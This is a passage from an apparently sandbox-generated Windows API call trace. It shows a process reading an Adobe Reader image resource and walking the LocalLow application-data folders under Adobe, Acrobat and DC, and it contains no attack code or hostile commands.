ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x228)) returned 1 [0273.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec6f0) returned 1 [0273.051] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x203ec0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x95 [0273.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec5e0) returned 1 [0273.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\createpdfupsell-app\\images\\rhp_world_icon_hover_2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0273.051] GetFileType (hFile=0x834) returned 0x1 [0273.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec550) returned 1 [0273.051] GetFileType (hFile=0x834) returned 0x1 [0273.051] GetFileSize (in: hFile=0x834, lpFileSizeHigh=0x203ec788 | out: lpFileSizeHigh=0x203ec788*=0x0) returned 0x228 [0273.051] ReadFile (in: hFile=0x834, lpBuffer=0x3c049d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ec6b8, lpOverlapped=0x0 | out: lpBuffer=0x3c049d8*, lpNumberOfBytesRead=0x203ec6b8*=0x228, lpOverlapped=0x0) returned 1 [0273.052] CloseHandle (hObject=0x834) returned 1 Thread: id = 237 os_tid = 0x9f0 [0178.097] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0178.098] CoGetContextToken (in: pToken=0x204ef2e0 | out: pToken=0x204ef2e0) returned 0x0 [0178.098] IUnknown:QueryInterface (in: This=0x12e64d0, riid=0x7ff9122eadf8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x204ef318 | out: ppvObject=0x204ef318*=0x12e64e8) returned 0x0 [0178.098] IComThreadingInfo:GetCurrentThreadType (in: This=0x12e64e8, pThreadType=0x204ef388 | out: pThreadType=0x204ef388*=0) returned 0x0 [0178.098] IUnknown:Release (This=0x12e64e8) returned 0x0 [0178.098] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0178.098] CoUninitialize () [0178.098] RoInitialize () returned 0x1 [0178.098] RoUninitialize () returned 0x0 [0179.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee450) returned 1 [0179.598] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow", nBufferLength=0x105, lpBuffer=0x204edef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow", lpFilePart=0x0) returned 0x20 [0179.599] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\*", lpFindFileData=0x204ee170 | out: lpFindFileData=0x204ee170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb373310b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0179.599] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb373310b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.599] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0179.599] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x63cde605, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x63cde605, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0179.599] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfdd2edaa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7275453, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7275453, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0179.600] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0179.600] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0179.600] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0179.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee390) returned 1 [0179.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee350) returned 1 [0179.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ee450) returned 1 [0179.600] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow", nBufferLength=0x105, lpBuffer=0x204edef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow", lpFilePart=0x0) returned 0x20 [0179.600] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\*", lpFindFileData=0x204ee170 | out: lpFindFileData=0x204ee170*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb373310b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0179.600] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34f2b3d6, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xb373310b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb373310b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.601] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0179.601] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xdfedb1f6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x63cde605, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x63cde605, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0179.601] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfdd2edaa, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7275453, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x7275453, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0179.601] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb07402a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb07402a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb07402a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0179.601] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ee130 | out: lpFindFileData=0x204ee130*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.601] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0179.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee390) returned 1 [0179.601] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ee350) returned 1 [0179.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0179.602] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe", lpFilePart=0x0) returned 0x26 [0179.602] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0179.603] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.603] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0179.603] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0179.604] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0179.604] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0179.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0179.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0179.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0179.604] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe", lpFilePart=0x0) returned 0x26 [0179.604] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0179.604] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.604] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0179.605] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x523a5f8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x523a5f8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0179.605] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.605] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0179.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0179.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0179.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0179.605] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2e [0179.605] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0179.606] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.606] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfb20735, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xdfb20735, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0179.606] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfb20735, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xdfb20735, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0179.606] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0179.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0179.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0179.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0179.606] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2e [0179.606] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0179.607] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7157dbce, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7157dbce, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.607] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfb20735, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xdfb20735, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0179.607] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.607] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0179.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0179.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0179.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0179.608] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x31 [0179.608] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\LocalLow\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfb20735, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xdff10de7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0179.608] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7157dbce, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdfb20735, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xdff10de7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.608] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5a7ce5b7, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5a7ce5b7, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5a7ce5b7, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="assets", cAlternateFileName="")) returned 